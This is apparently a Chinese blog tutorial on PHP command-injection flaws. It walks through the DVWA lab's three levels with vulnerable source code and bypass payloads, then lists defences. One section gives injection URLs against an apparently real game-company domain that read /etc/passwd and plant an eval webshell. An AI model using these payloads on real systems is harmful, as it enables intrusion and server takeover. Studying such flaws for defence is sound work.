命令執行漏洞及防禦

命令執行:

PHP:system、exec、shell_exec、passthru、popen、proc_popen等稱爲高危漏洞。

原理:只要程序可以調用系統命令的情況下都可以發生命令執行漏洞。

條件:用戶能夠控制函數輸入,存在可以執行代碼的危險函數。

 

命令執行漏洞產生原因:

開發人員沒有對特殊函數入口做過濾,導致用戶可以提交惡意代碼並提交服務端執行。

Web服務器沒有過濾危險函數導致命令執行漏洞攻擊成功。

 

命令執行漏洞帶來的危害

  1. 繼承Web服務程序的權限去執行系統命令或讀寫文件。
  2. 反彈shell
  3. 控制整個網站甚至控制服務器。
  4. 進一步內網滲透

 

PHP中的危險函數:

  1. system:成功則返回命令輸出的最後一行,失敗則返回FALSE。
  2. exec:命令執行結果的最後一行內容。
  3. shell_exec:命令執行的輸出。如果執行過程中發生錯誤或者進程不產生輸出,則返回NULL。
  4. passthru:執行外部程序並且顯示原始輸出。
  5. eval:將輸入的字符串參數當做PHP程序代碼來執行。
  6. assert
  7. preg_replace
  8. call_user_func

 

DVWA:Command Injection(命令行注入)

命令連接符:

在windows和linux都支持,如果程序沒有進行過濾,那麼我們可以通過連接符來執行多條命令。

command1 && command2   先執行Command 1,執行成功後執行Command 2,否則不執行Command 2
command1 | command2     只執行command2
command1 & command2   先執行Command 1,不管是否成功,都會執行Command 2

低:

源碼:

<?php 
 
if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 
 
    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 
 
    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 
 
?> 

strustr:搜索字符串在另一字符串中的第一次出現,返回字符串的剩餘部分。

php_uname:返回運行PHP操作系統的相關描述。s:返回操作系統名稱。n:返回主機名。r:返回版本名。

服務器通過判斷操作系統執行不同ping命令,但是對ip參數並未做任何的過濾,導致了嚴重的命令注入漏洞。

由於windows和linux都可以用&&來執行多條命令,所以可以構造payload:127.0.0.1&&net user

 

中:

中等級使用的是str_replace吧‘&&’,‘;’替換爲空字符串,所以可以構造payload:127.0.0.1 &;&whoami。

高:

<?php 
 
if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $target = trim($_REQUEST[ 'ip' ]); 
 
    // Set blacklist 
    $substitutions = array( 
        '&'  => '', 
        ';'  => '', 
        '| ' => '', 
        '-'  => '', 
        '$'  => '', 
        '('  => '', 
        ')'  => '', 
        '`'  => '', 
        '||' => '', 
    ); 
 
    // Remove any of the charactars in the array (blacklist). 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
 
    // Determine OS and execute the ping command. 
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows 
        $cmd = shell_exec( 'ping  ' . $target ); 
    } 
    else { 
        // *nix 
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    } 
 
    // Feedback for the end user 
    echo "<pre>{$cmd}</pre>"; 
} 
 
?> 

相比於前面兩個等級的,高等級完善了黑名單,但是由於黑名單的侷限性,我們可以看出來他只是過濾掉了“| ”,如果|後不跟空格則可以繞過過濾。可以構造payload:127.0.0.1|dir

 

 

命令執行漏洞實例:

讀取當前目錄文件:

http://ztsj.ztgame.com/stat.php?url=%27%26ls+%26%27

查看etc目錄:

http://ztsj.ztgame.com/stat.php?url=%27%26ls+/etc+%26%27

讀取系統密碼:

http://ztsj.ztgame.com/stat.php?url=%27%26cat+/etc/passwd+%26%27

寫入一句話木馬:

http://ztsj.ztgame.com/stat.php?url=%27%26echo+"<?php @eval(\$_POST['value']);?>"+>>+php.php+%26%27

 

命令執行的防禦:

  1. 儘量不要執行外部命令。
  2. 使用自定義函數或者函數庫來代替外部命令的功能。
  3. 使用escapeshe||arg函數來處理命令參數。
  4. 使用safe_mode_exec_dir指定可執行文件的路徑。(safe_mode_exec_dir指定路徑時可以把會使用的命令提前放入此路徑內。)

 

 

 

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章